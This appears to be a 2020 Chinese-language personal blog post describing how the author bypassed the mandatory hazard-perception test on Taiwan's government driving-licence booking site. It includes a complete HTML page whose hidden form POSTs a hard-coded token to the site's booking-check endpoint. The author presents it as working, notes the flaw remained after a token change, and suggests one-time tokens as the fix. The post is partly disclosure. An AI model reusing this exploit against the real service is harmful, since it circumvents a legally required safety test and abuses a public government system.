繞過考駕照預約報名的危險感知測驗
【研究目的】
同學要考駕照,完成測驗卻還是無法報名
【解決方法】
將網頁代碼及腳本複製下來,跳轉到預約報名頁面,使用Post方式跳轉
【心得】
最開始分析時有觀察到網頁的網址不同,不能預約的網頁後綴為"../locations#",
能預約的網頁為"../locations/check",首先從網址下手,將網址直接修改成能預約的網址,
碰壁了,沒辦法成功,會自動跳轉回填寫場次的介面,往下一個洞口移動,
當完成測驗後會出現"繼續預約報名"的按紐,利用查看網頁元素及源代碼,
製作一份自己的跳轉網頁,跳轉到有預約報名按鈕的網頁,花了點時間製作了一下,
成功了,不會自動跳回填寫場次的介面,可以直接預約報名了。
我不懂網頁html、css、js,所以就從之前寫的網頁做修改,可能寫法不是很專業,請見諒==
額 可能不算漏洞,官方只是改了一下Token,完全不想處理,
想要防止這種漏洞就是使用一次性Token,Token使用過後卻還可以一直繞過,
關於回報漏洞,這次我學到了,有些時候並不像想像的一樣美好。
【效果影片】
不能預約的網頁介面 |
可預約的網頁介面 |
html code
<!DOCTYPE html>
<html lang="ch">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>考駕照預約報名</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css">
<link rel="stylesheet" href="./style.css">
</head>
<body>
<main>
<button id="removeBtn" onclick="submitEmv()" style="width:450px;height:50px;font-size:25px;" class="btn waves-effect red darken-1">預約報名考駕照</button>
<form id="emvTokenReturn" style="display:none" action="https://www.mvdis.gov.tw/m3-emv-trn/exm/locations/check" method="POST" target="_blank">
<input id="emvToken" name="token" value="rUCJBzvos8099RZN456J82V1JRJBtFg0mpiTn2e_p_Vy9MXoUw4VJ-xl-Lm4_Vc2"></form>
</main>
<script>
function submitEmv(){
document.getElementById("emvTokenReturn").submit();
}
</script>
</body>
</html>
By:Hubert
Date September 27,2020
留言
張貼留言